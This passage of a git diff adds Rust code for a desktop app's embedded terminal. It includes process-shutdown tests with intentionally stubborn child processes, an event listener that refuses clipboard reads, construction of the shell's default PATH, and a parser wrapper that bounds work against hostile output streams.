"probably armed by now" into an observed fact. + let mut child = spawn_script( + &pair, + &format!( + "trap '' TERM; (sleep {WATCHDOG}; kill -9 $$) & : > {}; \ + while :; do sleep 0.1; done", + ready.display() + ), + ); + let pid = child.process_id().expect("pid") as i32; + assert!( + poll_until(|| ready.exists()), + "child never armed its SIGTERM trap; signalling now would test a \ + startup race rather than the escalation" + ); + + let started = Instant::now(); + let outcome = shutdown(&mut child).expect("shutdown"); + let elapsed = started.elapsed(); + + assert_eq!( + outcome, + Shutdown::Killed, + "a SIGTERM-ignoring child must be escalated to SIGKILL" + ); + assert!(poll_until(|| !pid_alive(pid)), "child survived SIGKILL"); + assert!( + elapsed >= TERM_GRACE, + "shutdown returned in {elapsed:?}, before the {TERM_GRACE:?} grace \ + period could have elapsed -- SIGTERM was never given its chance" + ); + assert!( + elapsed < BOUND, + "shutdown took {elapsed:?}; the grace period is not bounded" + ); +} + +/// The property the whole module exists for: a **grandchild** must not outlive +/// the session. +/// +/// The fixture is deliberately hostile, and the obvious version of this test +/// proves nothing. I first wrote `sleep 30 & echo $!; wait` and mutation L2 -- +/// replacing `kill(-pid)` with `kill(pid)` -- **survived it**. The reason is +/// that killing a PTY session leader makes the kernel hang up the terminal and +/// `SIGHUP` the whole foreground group, so the grandchild dies either way. +/// Isolated with a `forkpty` probe: with the master held open (no fd-closure +/// hangup) and only `SIGKILL` to the shell's pid, the grandchild was gone +/// within 200 ms while the shell itself was still unreaped. The tty hangup was +/// doing the work my group signal was being credited for. +/// +/// Two properties are therefore required of the grandchild, and each closes +/// one leak in the fixture: +/// +/// - it **ignores `SIGHUP`**, so the tty hangup cannot end it for us; and +/// - it **busy-loops rather than sleeping**, so it is not blocked in a call +/// that the session teardown would interrupt anyway. +/// +/// With both, the probe separates cleanly: pid-only leaves the grandchild +/// alive, `kill(-pgid)` does not. That is the only shape in which this test +/// can fail for the reason it claims to test. +/// +/// The `WATCHDOG` is the price of that hostility. A grandchild built to +/// survive every signal we send also survives the harness: when this test +/// legitimately fails -- as it does under mutation L1 and L2 -- it leaves a +/// process spinning a core at PPID 1, and a panicking or killed test binary +/// cannot clean up after itself. So the child carries its own deadline. +/// `SIGKILL` because that is the one signal the fixture does not trap. +#[test] +fn grandchild_does_not_outlive_the_session() { + let dir = tempdir("buzz-terminal-orphan"); + let pidfile = dir.join("grandchild.pid"); + let armed = dir.join("armed"); + + let pair = open_pty(); + let mut child = spawn_script( + &pair, + &format!( + "sh -c 'trap \"\" HUP TERM; (sleep {WATCHDOG}; kill -9 $$) & \ + : > {armed}; while :; do :; done' & \ + echo $! > {pidfile}; wait", + armed = armed.display(), + pidfile = pidfile.display() + ), + ); + let shell_pid = child.process_id().expect("pid") as i32; + + let grandchild: i32 = read_when_written(&pidfile) + .expect("grandchild never reported its pid") + .parse() + .expect("pid is a number"); + assert!( + poll_until(|| armed.exists()), + "grandchild never armed its SIGHUP trap; the tty hangup would kill it \ + regardless of how we signal, and this test could not observe the \ + difference" + ); + assert!( + pid_alive(grandchild), + "test setup: the grandchild must be running before we shut down" + ); + assert_ne!( + grandchild, shell_pid, + "test setup: the grandchild must be a distinct process, or this \ + cannot tell a group signal from a pid signal" + ); + + shutdown(&mut child).expect("shutdown"); + + assert!( + poll_until(|| !pid_alive(shell_pid)), + "the session leader survived shutdown" + ); + assert!( + poll_until(|| !pid_alive(grandchild)), + "an orphaned grandchild ({grandchild}) outlived the session -- the \ + signal reached the shell's pid but not its process group" + ); +} + +/// Shutting down an already-dead child is safe and reaps it. +/// +/// Without the leading `try_wait`, this path signals a pid that the kernel may +/// already have released and reassigned. +#[test] +fn shutdown_of_an_exited_child_is_a_reap_not_a_signal() { + let pair = open_pty(); + let mut child = spawn_script(&pair, "exit 0"); + assert!( + poll_until(|| child.try_wait().ok().flatten().is_some()), + "child did not exit" + ); + assert_eq!( + shutdown(&mut child).expect("shutdown"), + Shutdown::AlreadyExited + ); +} + +/// The login `argv[0]` the child **actually receives**, not the string we +/// computed. +/// +/// This closes the gap flagged in `e8b567aa`: `login_argv0` and +/// `portable-pty`'s `as_command` (`cmdbuilder.rs:510-517`) were each verified +/// by reading, and agreement-by-reading is not observation. +/// +/// Two things make the probe terminate where a naive one hangs. The child +/// writes `$0` to a **file** rather than the PTY -- so there is no terminal +/// echo to strip, no ANSI to parse, and no dependency on the interactive +/// shell ever reaching EOF. And the read is polled to a deadline. Credit to +/// Quinn (`fcfd69b0`), whose three failed PTY-parsing harnesses established +/// that the harness was the bug. +/// +/// The explicit-prog row is the control that isolates login `argv[0]` as the +/// only variable: same shell, same PTY, same fence, no `-` prefix. +#[test] +fn default_prog_child_observes_the_login_argv0() { + let dir = tempdir("buzz-terminal-argv0"); + let shell = "/bin/sh"; + + let default_prog = observe_argv0(&dir.join("default"), shell, true); + assert_eq!( + default_prog, + login_argv0(shell), + "the child's $0 is not the login argv0 we computed" + ); + assert!( + default_prog.starts_with('-'), + "a default-prog child must be a login shell: {default_prog:?}" + ); + + let explicit = observe_argv0(&dir.join("explicit"), shell, false); + assert_eq!( + explicit, shell, + "control: an explicitly-invoked shell must not be given a login argv0" + ); + assert_ne!( + default_prog, explicit, + "control and subject agree, so this test cannot observe the login \ + prefix at all" + ); +} + +/// Spawns a `/bin/sh` that writes its own `$0` to `pidfile`, either as a +/// default program (login argv0 applied by portable-pty) or explicitly. +/// +/// The default-prog child is an *interactive* shell with no `-c`, so it is +/// driven by writing to the PTY master -- the only way to give a login shell +/// a command is to type one. +fn observe_argv0(outfile: &std::path::Path, shell: &str, default_prog: bool) -> String { + let pair = open_pty(); + let resolved = resolve_shell(Some(shell)); + let mut cmd = if default_prog { + CommandBuilder::new_default_prog() + } else { + CommandBuilder::new(shell) + }; + fence_env(&mut cmd, &user_shell_path(), &resolved); + if !default_prog { + cmd.arg("-c"); + cmd.arg(format!("printf '%s' \"$0\" > {}", outfile.display())); + } + + let mut child = pair.slave.spawn_command(cmd).expect("spawn"); + drain(&pair); + drop(pair.slave); + + if default_prog { + use std::io::Write; + let mut writer = pair.master.take_writer().expect("writer"); + writeln!(writer, "printf '%s' \"$0\" > {}", outfile.display()).expect("write"); + writer.flush().expect("flush"); + // Dropping the writer closes the master's write side, which the shell + // reads as end-of-input and exits on -- no `exit` command needed, and + // nothing depends on the shell's rc files having run. + drop(writer); + } + + let observed = read_when_written(outfile); + let _ = crate::lifecycle::shutdown(&mut child); + observed.unwrap_or_else(|| panic!("child never reported $0 within {BOUND:?}")) +} + +/// A fresh directory for a test's artifacts, replacing any prior run's. +fn tempdir(name: &str) -> std::path::PathBuf { + let dir = std::env::temp_dir().join(name); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).expect("create temp dir"); + dir +} + +/// Mari's noisy-child discriminator: the reader must still be draining +/// **while** the child is being terminated and reaped. +/// +/// The portable contract is structural: `stop` must not be requested until +/// the child has been reaped. The recording reader checks the child PID at the +/// `stop` call, while the continuously noisy PTY makes the test exercise a +/// reader that is genuinely active rather than a quiet no-op. +/// +/// The child is deliberately noisy: it floods the PTY continuously, so a +/// master that stops being read fills its kernel buffer within milliseconds +/// and the child blocks in `write()`. That is the state the drain law exists +/// to avoid, and a quiet child cannot produce it -- with nothing being +/// written, both orders look identical and the test proves nothing. +#[test] +fn reader_drains_through_termination_and_reap() { + let pair = open_pty(); + + // Flood, and keep flooding: `yes` writes until the pipe is closed or the + // process dies, so there is always more output pending than the buffer + // holds. + let mut child = spawn_noisy(&pair); + let pid = child.process_id().expect("pid") as i32; + + let order = std::sync::Arc::new(std::sync::Mutex::new(Vec::new())); + let stop_at: StopClock = std::sync::Arc::new(std::sync::Mutex::new(None)); + let reader = RecordingReader::spawn(&pair, pid, order.clone(), stop_at.clone()); + // Release the slave, exactly as the runtime does after spawning + // (`terminal_runtime.rs:441`). Not hygiene: a PTY master does not reach + // EOF while *any* process holds the slave open, and this test is one -- + // so with the slave retained the reader parks in `read()` forever after + // the child is reaped, and every wait on it burns its whole bound. Linux + // honours that rule strictly; Darwin ends the read when the session + // leader exits, so the retained slave was invisible on the platform this + // was written on and failed only in CI. + drop(pair.slave); + + // Establish that this is a live draining reader, not a quiet fixture. + assert!( + poll_until(|| reader.total_bytes() > 4096), + "test setup: the child is not producing enough output to fill the pty \ + buffer, so this cannot distinguish drain order" + ); + + let started = Instant::now(); + let outcome = shutdown_draining(&mut child, Box::new(reader)).expect("shutdown"); + // `stop` runs the instant `shutdown` returns, so this is the child's half + // of the window and nothing else. Timing the whole call would fold reader + // teardown into an assertion whose message is about child termination -- + // which is exactly how a stalled reader once read as a wedged child. + let elapsed = stop_at + .lock() + .unwrap() + .expect("stop was never called") + .duration_since(started); + + assert_eq!( + outcome, + Shutdown::Terminated, + "a `yes` pipeline dies on SIGTERM; SIGKILL here means it was wedged in \ + a tty write against an undrained master" + ); + assert!( + elapsed < TERM_GRACE, + "shutdown took {elapsed:?}, at or beyond the {TERM_GRACE:?} grace \ + period: the child was blocked writing to an undrained master rather \ + than exiting on SIGTERM" + ); + assert_eq!( + *order.lock().unwrap(), + ["begin_closing", "stop", "join"], + "reader close must begin before termination and stop/join only after reap" + ); +} + +/// Spawns a child that floods the PTY without pause. +fn spawn_noisy(pair: &PtyPair) -> Box { + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + let mut cmd = CommandBuilder::new("/bin/sh"); + fence_env(&mut cmd, &user_shell_path(), &shell); + cmd.arg("-c"); + cmd.arg("while :; do echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; done"); + // Deliberately no `drain` here: this test owns the reader. + pair.slave.spawn_command(cmd).expect("spawn") +} + +/// A [`DrainingReader`] that records how much it read after close began. +struct RecordingReader { + pid: i32, + total: std::sync::Arc, + handle: std::thread::JoinHandle<()>, + order: std::sync::Arc>>, + /// When `stop` was called -- i.e. the instant `shutdown` returned. + stop_at: StopClock, +} + +/// Shared slot for the instant the reader was asked to stop. +type StopClock = std::sync::Arc>>; + +impl RecordingReader { + fn spawn( + pair: &PtyPair, + pid: i32, + order: std::sync::Arc>>, + stop_at: StopClock, + ) -> Self { + let mut reader = pair.master.try_clone_reader().expect("reader"); + let total = std::sync::Arc::new(std::sync::atomic::AtomicU64::new(0)); + let counter = total.clone(); + let handle = std::thread::spawn(move || { + use std::io::Read; + let mut buf = [0u8; 4096]; + while let Ok(n) = reader.read(&mut buf) { + if n == 0 { + break; + } + counter.fetch_add(n as u64, Ordering::Relaxed); + } + }); + Self { + pid, + total, + handle, + order, + stop_at, + } + } + + fn total_bytes(&self) -> u64 { + self.total.load(Ordering::Relaxed) + } +} + +impl DrainingReader for RecordingReader { + fn begin_closing(&self) { + self.order.lock().unwrap().push("begin_closing"); + } + + fn stop(&self) { + *self.stop_at.lock().unwrap() = Some(Instant::now()); + assert!( + !pid_alive(self.pid), + "reader stop must not be requested before the child is reaped" + ); + self.order.lock().unwrap().push("stop"); + } + + fn join(self: Box) { + self.order.lock().unwrap().push("join"); + // Bounded, and that is the whole point. The read loop ends when the + // master reports EOF, which only happens once the reaped child has + // released the slave -- so joining *before* termination blocks + // forever. That is precisely the forbidden ordering (mutation L4), + // and an unbounded join would "detect" it by hanging, which is + // indistinguishable from a broken test. Waiting to a deadline and + // abandoning the thread converts the hang into an assertion failure + // the harness can report. + // + // The deadline must *assert*, not return. A silent abandon is + // indistinguishable from a clean join, and that is not hypothetical: + // it is how a 10 s stall in this fixture masqueraded as a + // child-termination failure in the caller's timing assertion. The + // caller's clock covers `shutdown()` only, so this is the sole gate + // on reader teardown -- with a wedged reader, `shutdown()` still + // returns in ~58 ms and every other assertion here passes. + assert!( + poll_until(|| self.handle.is_finished()), + "reader thread never finished within {BOUND:?} after the child was \ + reaped: the master never reached EOF, so output was not being \ + drained through termination" + ); + let _ = self.handle.join(); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/listener.rs b/desktop/src-tauri/crates/buzz-terminal/src/listener.rs new file mode 100644 index 0000000000..ac9fcfd60f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/listener.rs @@ -0,0 +1,144 @@ +//! The closed set of terminal events we act on. +//! +//! `EventListener` is how the emulator asks the embedder to do something. Most +//! of those requests write back to the PTY, and one of them — `ClipboardLoad` — +//! would let terminal output read the user's clipboard into the shell. We +//! answer a fixed set and **drop everything else by default**, so a new upstream +//! variant is inert until someone deliberately handles it. + +use std::fmt; +use std::sync::mpsc::{self, Receiver, Sender}; +use std::sync::Arc; + +use alacritty_terminal::event::{Event, EventListener, WindowSize}; +use alacritty_terminal::vte::ansi::Rgb; + +/// Something the embedder must do on the terminal's behalf. +/// +/// Two variants carry upstream's reply formatters rather than a finished +/// string: the answers depend on state this listener does not own (the color +/// palette, the cell metrics). Resolving them here would mean inventing +/// values, and a program that asked for its terminal's real background color +/// would silently be told black. +#[derive(Clone)] +pub enum Action { + /// Write bytes back to the PTY. + PtyWrite(String), + /// Reply with palette entry `index`, formatted by `format`. + ColorReply { + index: usize, + format: Arc String + Send + Sync>, + }, + /// Reply with the text area size, formatted by `format`. + SizeReply { + format: Arc String + Send + Sync>, + }, + /// The program set the window title (already clamped). + Title(String), + /// The program reset the window title. + ResetTitle, + /// New content is available; the renderer should sample damage. + Wakeup, + /// The program rang the bell. + Bell, +} + +impl fmt::Debug for Action { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::PtyWrite(text) => write!(f, "PtyWrite({text:?})"), + Self::ColorReply { index, .. } => write!(f, "ColorReply({index})"), + Self::SizeReply { .. } => write!(f, "SizeReply"), + Self::Title(title) => write!(f, "Title({title:?})"), + Self::ResetTitle => write!(f, "ResetTitle"), + Self::Wakeup => write!(f, "Wakeup"), + Self::Bell => write!(f, "Bell"), + } + } +} + +/// Longest title we will carry. A title is program-controlled text that ends up +/// in UI chrome; an unbounded one is a memory and layout problem. +pub const TITLE_LIMIT: usize = 512; + +/// Clamp on a character boundary, never mid-UTF-8. +fn clamp_title(title: String) -> String { + match title.char_indices().nth(TITLE_LIMIT) { + None => title, + Some((byte_idx, _)) => title[..byte_idx].to_string(), + } +} + +/// Translates upstream events into the closed [`Action`] set. +#[derive(Clone)] +pub struct Listener(Sender); + +impl Listener { + pub fn new() -> (Self, Receiver) { + let (tx, rx) = mpsc::channel(); + (Self(tx), rx) + } +} + +/// Resolve an emulator action that can be answered without renderer state. +/// +/// Color queries deliberately return `None`: named/indexed colors resolve +/// against the live theme, which this crate does not own. +pub fn reply( + action: Action, + columns: u16, + rows: u16, + cell_width: u16, + cell_height: u16, +) -> Option { + match action { + Action::PtyWrite(text) => Some(text), + Action::SizeReply { format } => Some(format(WindowSize { + num_lines: rows, + num_cols: columns, + cell_width, + cell_height, + })), + // Palette values are renderer-owned. The transport must answer these + // only after it has a renderer palette, never invent one here. + Action::ColorReply { .. } + | Action::Title(_) + | Action::ResetTitle + | Action::Wakeup + | Action::Bell => None, + } +} + +impl EventListener for Listener { + fn send_event(&self, event: Event) { + let action = match event { + // Replies the program is waiting on. These are the only routes by + // which emulator state travels back into the shell. + Event::PtyWrite(text) => Action::PtyWrite(text), + // A program blocked on a color reply must get one, or it hangs. + // The palette lives in `Term`, so the caller resolves the index; + // the formatter is carried through untouched. + Event::ColorRequest(index, format) => Action::ColorReply { index, format }, + Event::TextAreaSizeRequest(format) => Action::SizeReply { format }, + Event::Title(title) => Action::Title(clamp_title(title)), + Event::ResetTitle => Action::ResetTitle, + Event::Wakeup => Action::Wakeup, + Event::Bell => Action::Bell, + + // Dropped on purpose, and enumerated so the reason survives: + // + // ClipboardLoad would let terminal output paste the user's + // clipboard into the shell. Never handled. + Event::ClipboardLoad(..) => return, + // ClipboardStore is an OSC 52 write; OSC 52 is disabled in the + // Term config, so this should be unreachable rather than merely + // unhandled. + Event::ClipboardStore(..) => return, + // Presentation concerns the renderer polls for; no action here. + Event::MouseCursorDirty | Event::CursorBlinkingChange => return, + // Lifecycle is owned by the PTY layer, not the emulator. + Event::Exit | Event::ChildExit(_) => return, + }; + let _ = self.0.send(action); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/path.rs b/desktop/src-tauri/crates/buzz-terminal/src/path.rs new file mode 100644 index 0000000000..94b77ce719 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/path.rs @@ -0,0 +1,46 @@ +//! `PATH` derivation for spawned PTY children. +//! +//! Buzz's own process runs under Hermit activation, so its `PATH` leads with +//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim +//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's +//! pinned build toolchain rather than the ones they installed. That is a +//! product defect, not merely untidy: `⌘J` then `cargo --version` should +//! answer for the user's machine, not for Buzz's build. +//! +//! The abandoned `feat/terminal` branch tried to solve this by subtracting +//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The +//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV` +//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads +//! those same keys at `:505-506` to learn what to strip. With both keys +//! already gone the roots list is empty and the function returns early, +//! leaving the hermit entries in place. Verified by reproduction: in that +//! order the child's `PATH` is unchanged; reversed, the hermit entries are +//! removed. A subtractive fence depends on evidence of what to subtract, and +//! that evidence is exactly what the preceding cleanup destroys. +//! +//! So `PATH` is *constructed*, not filtered. The child gets the platform's +//! standard user path, which is what a login shell would have produced had +//! Buzz never been in the picture. + +/// The default user `PATH` for a spawned shell. +/// +/// This intentionally does not consult Buzz's own `PATH`. A login shell reads +/// the user's rc files, which prepend their own entries (homebrew, asdf, mise, +/// `~/.local/bin`); starting from the platform default lets that happen +/// normally instead of layering it on top of Buzz's build toolchain. +#[cfg(unix)] +pub fn user_shell_path() -> String { + // Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system + // binaries only. `/usr/local/bin` is included because it is the + // conventional prefix on both macOS and Linux for user-installed tools + // that rc files expect to already be present. + "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string() +} + +#[cfg(windows)] +pub fn user_shell_path() -> String { + // On Windows the system directories are derived from the environment + // rather than fixed, and `cmd.exe`/PowerShell resolution depends on them. + let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string()); + format!(r"{root}\system32;{root};{root}\system32\Wbem") +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/reader.rs b/desktop/src-tauri/crates/buzz-terminal/src/reader.rs new file mode 100644 index 0000000000..0218dcda9b --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/reader.rs @@ -0,0 +1,354 @@ +//! Fence enforcement around `vte`'s `Processor`. +//! +//! Everything that reaches the terminal's parser goes through [`Feeder::feed`]. +//! It is the single place both fences are applied, so there is no route by +//! which bytes become parser-visible without being charged. + +use alacritty_terminal::vte::ansi::{Handler, Processor, StdSyncHandler}; + +use crate::fences::{ + slice_bytes_remaining, FenceStats, Fences, MAX_SLICE, OSC_BUDGET, SYNC_CAP, TAIL_CAP, + TAIL_RESUME, WORK_BUDGET, +}; +use crate::units::{Counting, CursorColumn}; + +/// Owns the parser and enforces F1/F2 on every byte fed to it. +pub struct Feeder { + parser: Processor, + fences: Fences, + stats: FenceStats, + /// Bytes charged since the last F2 reset. + since_reset: usize, + /// Bytes accepted but not yet parsed. Grows when arrival outruns + /// retirement; drained by every [`Feeder::feed`] and [`Feeder::drain`]. + pending: Vec, + /// How much of `pending` has already been parsed. Kept as an index rather + /// than draining the front on every slice, so a large tail is not + /// re-shuffled once per slice; the prefix is dropped in one go on the next + /// enqueue. + pending_at: usize, + /// The grid the weights are computed against. Tracked here rather than + /// read from the `Term` because `feed` only has the handler, and kept in + /// sync by [`Feeder::resize`]: a stale grid misprices every O(cells) + /// callback for as long as it is wrong. + columns: usize, + lines: usize, + /// Whether the parser is part-way through an escape sequence that has not + /// yet dispatched. Governs how the next slice is metered -- see + /// [`crate::fences::slice_bytes_remaining`]. + mid_escape: bool, + /// Deepest scrollback this feeder has ever been configured for. + /// + /// A high-water mark rather than the current depth, and the difference is + /// not conservatism for its own sake -- the rows are still there. Upstream + /// frees history lazily: `Storage::shrink_lines` truncates only once the + /// buffer exceeds the new length by `MAX_CACHE_SIZE`, so immediately after + /// a decrease the grid still owns rows that a reset must walk. Pricing at + /// the new depth would charge for a grid that does not exist yet. + /// + /// Never lowered, so it needs no clearing transition and cannot go stale + /// in the unsafe direction. The cost is that a session which shrinks its + /// scrollback keeps paying the deep price for the rest of its life; the + /// alternative is a bound that is wrong immediately after every shrink. + scrollback: usize, +} + +impl Feeder { + pub fn new(fences: Fences, columns: usize, lines: usize, scrollback: usize) -> Self { + Self { + parser: Processor::new(), + fences, + stats: FenceStats::default(), + since_reset: 0, + pending: Vec::new(), + pending_at: 0, + mid_escape: false, + columns, + lines, + scrollback, + } + } + + /// Track a geometry change, so the cost weights describe the current grid. + /// + /// Takes the whole [`crate::Size`] rather than a column/line pair on + /// purpose. Scrollback is as load-bearing as the other two -- it is most + /// of RIS's price and therefore most of the slice derivation -- and a + /// signature that accepted only the dimensions let a caller change the + /// depth on the `Term` while the feeder kept charging the construction + /// value. One argument, one ownership boundary, no way to update two of + /// three. + pub fn resize(&mut self, size: crate::Size) { + self.columns = size.columns; + self.lines = size.screen_lines; + // Grows only. See the field: a decrease does not immediately free the + // rows a reset has to walk. + self.scrollback = self.scrollback.max(size.scrollback); + } + + pub fn stats(&self) -> FenceStats { + self.stats + } + + pub fn reset_stats(&mut self) { + self.stats.reset(); + } + + /// Bytes currently buffered inside a synchronized update. + pub fn pending_sync_bytes(&self) -> usize { + self.parser.sync_bytes_count() + } + + /// Bytes accepted but not yet parsed, because a previous [`Feeder::feed`] + /// spent its work budget before reaching them. + pub fn pending_bytes(&self) -> usize { + self.pending.len() - self.pending_at + } + + /// Whether the pending tail has reached [`TAIL_CAP`]. + /// + /// Deliberately derived from the current depth rather than latched. A + /// latch is a state the fence owns and could fail to clear, which is + /// exactly how a paused reader strands a child mid-teardown; a reader that + /// simply stops asking resumes by default. + /// + /// **No production consumer today, and not an oversight.** The runtime + /// reader pumps [`Feeder::drain`] to completion after every read + /// (`terminal_runtime.rs`), so the tail is empty between iterations and + /// this can never go true -- measured 0 bytes high-water against 8 MiB of + /// pure RIS, the densest atom there is. It exists for a future reader + /// that defers pumping, and such a reader **must** consult it: without + /// the pump loop the same stream reaches [`TAIL_CAP`] in 257 reads of + /// 16 KiB. + /// + /// The numbers are here rather than "nothing calls this" because the + /// signal and the loop are one fact from two sides. Delete the loop and + /// this predicate stops being unreachable in the same instant it starts + /// being needed. + pub fn tail_full(&self) -> bool { + self.pending_bytes() >= TAIL_CAP + } + + /// Whether a paused reader may resume: the tail has drained to the low + /// water mark. Separate from `!tail_full()` so the reader does not flap + /// between full and one-byte-below-full. + pub fn tail_drained(&self) -> bool { + self.pending_bytes() <= TAIL_RESUME + } + + /// Discard the unparsed tail. + /// + /// For session close only, and lossless where it is used: publication is + /// detached before shutdown drains, so this tail is bytes no renderer can + /// consume. Draining the *PTY* remains lifecycle-critical -- this exists so + /// parser work cannot hold teardown behind it. + pub fn abandon_tail(&mut self) -> usize { + let abandoned = self.pending_bytes(); + self.pending.clear(); + self.pending_at = 0; + self.stats.abandoned_bytes += abandoned as u64; + abandoned + } + + /// Accept PTY output and parse what fits in one work budget. + /// + /// Returns whether bytes remain unparsed. Bytes beyond the budget are + /// retained and parsed by [`Feeder::drain`], so this bounds the *lock + /// hold*; it does not bound the queue. When arrival outruns retirement + /// the tail grows to [`TAIL_CAP`] and [`Feeder::tail_full`] goes true, + /// which is the reader's cue to stop reading the PTY and let the child + /// block. No policy is applied here: a fence that dropped input to protect + /// itself would corrupt the screen to avoid being slow. + pub fn feed(&mut self, handler: &mut H, bytes: &[u8]) -> bool { + self.enqueue(bytes); + self.drain(handler); + self.pending_bytes() > 0 + } + + /// Append to the pending tail, compacting the already-parsed prefix first. + fn enqueue(&mut self, bytes: &[u8]) { + if self.pending_at > 0 { + self.pending.drain(..self.pending_at); + self.pending_at = 0; + } + self.pending.extend_from_slice(bytes); + } + + /// Parse from the pending tail until the work budget is spent. + /// + /// The budget is checked between parser slices, never inside a callback: + /// vte's own mid-buffer stop is driven by `Perform::terminated()`, whose + /// implementor in the ansi layer is private, so the cut has to be made + /// from outside, and a callback already running cannot be preempted at + /// all. One atom is therefore the irreducible overrun -- and it is not + /// small: `ESC[65535Z` with tabstops cleared is 8 bytes and 82 ms at 1600 + /// columns, because upstream's `move_backward_tabs` rescans the row once + /// per count when it finds no stop. + /// + /// What *is* bounded is the number of atoms per slice, and that bound + /// holds from the first byte of a cold feeder: [`slice_bytes_remaining`] is derived + /// from the densest work-per-byte upstream can produce on this grid, so + /// no slice can contain more than one budget's worth of callbacks no + /// matter what the payload is or what the feeder has seen before. + /// + /// Returns the work spent, which is at least the budget whenever the tail + /// is still non-empty on return. + pub fn drain(&mut self, handler: &mut H) -> u64 { + // Slices are copied out of the tail rather than borrowed from it, + // because `advance_slice` needs `&mut self` and the tail is part of + // self. A stack buffer keeps that from allocating; the copy is a + // memcpy against a parse two orders of magnitude more expensive. + let mut buf = [0u8; MAX_SLICE]; + let mut spent: u64 = 0; + while self.pending_at < self.pending.len() { + // Size each slice against what is *left* of the budget, and + // against what is actually in front of the parser. A slice can + // only be as expensive as the callbacks it contains, and only an + // escape can buy grid-sized work in two bytes -- so a plain run + // is sliced against the plain-byte cost and stops at the next + // `ESC`, which then gets a slice metered against the worst atom. + // The drain therefore returns on the atom that crosses the + // budget, not at the end of a slice that ran several more. + // + // Where one atom is worth more than the entire budget -- RIS at + // any real scrollback depth -- that escape gets a one-byte slice. + // That is the honest consequence of the law: nothing wider can + // promise to stop after the crossing atom when a single atom + // always crosses. + // A slice is never wider than MAX_SLICE, so the scan for the next + // escape stops there too: searching the whole tail would be + // O(tail) per slice and O(tail^2) per drain, which measured as a + // 7x throughput *regression* on plain text -- a bound that costs + // more than the thing it bounds. + let horizon = (self.pending_at + MAX_SLICE).min(self.pending.len()); + let next_escape = if self.mid_escape { + // Already inside a sequence whose callback has not fired. Its + // remaining bytes are *not* plain text -- `ESC` then `c` is a + // grid reset -- so they keep the escape's metering. Without + // this the byte after a lone `ESC` is priced as a character + // and the atom rides into a wide slice with whatever follows + // it, which is the post-atom overrun by another door. + 0 + } else { + self.pending[self.pending_at..horizon] + .iter() + .position(|&b| b == 0x1b) + .unwrap_or(horizon - self.pending_at) + }; + let width = slice_bytes_remaining( + self.columns, + self.lines, + self.scrollback, + spent, + next_escape, + ); + let end = (self.pending_at + width).min(self.pending.len()); + let len = end - self.pending_at; + buf[..len].copy_from_slice(&self.pending[self.pending_at..end]); + self.pending_at = end; + let cost = self.advance_slice(handler, &buf[..len]); + // A slice that contained an escape but dispatched nothing left the + // parser mid-sequence. Work is the signal because it is the thing + // being budgeted: a sequence that has not yet cost anything has + // not yet run. + self.mid_escape = (self.mid_escape || buf[..len].contains(&0x1b)) && cost == 0; + spent = spent.saturating_add(cost); + if spent >= WORK_BUDGET { + break; + } + } + if self.pending_at == self.pending.len() { + self.pending.clear(); + self.pending_at = 0; + } + let depth = self.pending_bytes(); + self.stats.max_pending = self.stats.max_pending.max(depth); + if depth >= TAIL_CAP { + self.stats.tail_breaches += 1; + } + spent + } + + /// Parse one slice, applying both fences to it. Returns the work it cost. + fn advance_slice(&mut self, handler: &mut H, bytes: &[u8]) -> u64 { + let mut spent: u64 = 0; + let sync_before = self.parser.sync_bytes_count(); + { + let mut counting = Counting::new(handler, self.columns, self.lines, self.scrollback); + self.parser.advance(&mut counting, bytes); + self.stats.completed_units = + self.stats.completed_units.saturating_add(counting.units()); + self.stats.completed_work = self.stats.completed_work.saturating_add(counting.work()); + spent = spent.saturating_add(counting.work()); + } + let sync_after = self.parser.sync_bytes_count(); + + // Charge exactly the bytes the parser could see, by route: + // + // * the buffer shrank -> a synchronized update ended and released + // `sync_before` buffered bytes plus whatever of `bytes` followed it. + // Charging only `bytes` here is the "omitted flush accounting" + // mutation: it under-charges by the whole buffered frame. + // * the buffer grew -> these bytes were swallowed into the buffer + // and are not yet parser-visible. Charging them now is the "raw + // counting" mutation: it over-charges, and resets the parser in the + // middle of a legitimate frame, destroying content. + // * neither -> ordinary unsynchronized input. + let charged = if sync_after < sync_before { + let released = sync_before + bytes.len() - sync_after; + self.note_release(released); + released + } else if sync_after > sync_before { + // Buffered, not yet visible. Charged when it is released. + 0 + } else { + bytes.len() + }; + self.charge(charged); + + // F1: a synchronized update may not buffer without bound. One abort + // per breach; the released bytes are parser-visible and are charged. + if self.fences.sync_abort && self.parser.sync_bytes_count() >= SYNC_CAP { + let released = self.parser.sync_bytes_count(); + // Counted too: aborting flushes the buffered frame through the + // handler, so these are units the lock hold paid for. Leaving them + // out would undercount exactly on the fenced path. + { + let mut counting = + Counting::new(handler, self.columns, self.lines, self.scrollback); + self.parser.stop_sync(&mut counting); + self.stats.completed_units = + self.stats.completed_units.saturating_add(counting.units()); + self.stats.completed_work = + self.stats.completed_work.saturating_add(counting.work()); + spent = spent.saturating_add(counting.work()); + } + self.stats.sync_aborts += 1; + self.note_release(released); + self.charge(released); + } + + // F2: rebuild the parser once the budget is spent. Unconditional -- + // a fresh `Processor` is the only way to discard parser state that a + // hostile stream is holding open, and it must not depend on the + // parser agreeing that it is in a bad state. + if self.fences.osc_budget && self.since_reset >= OSC_BUDGET { + self.parser = Processor::new(); + self.stats.osc_resets += 1; + self.since_reset = 0; + } + + spent + } + + fn charge(&mut self, bytes: usize) { + self.since_reset += bytes; + self.stats.charged_bytes += bytes as u64; + } + + fn note_release(&mut self, bytes: usize) { + if bytes > self.stats.max_release { + self.stats.max_release = bytes; + } + } 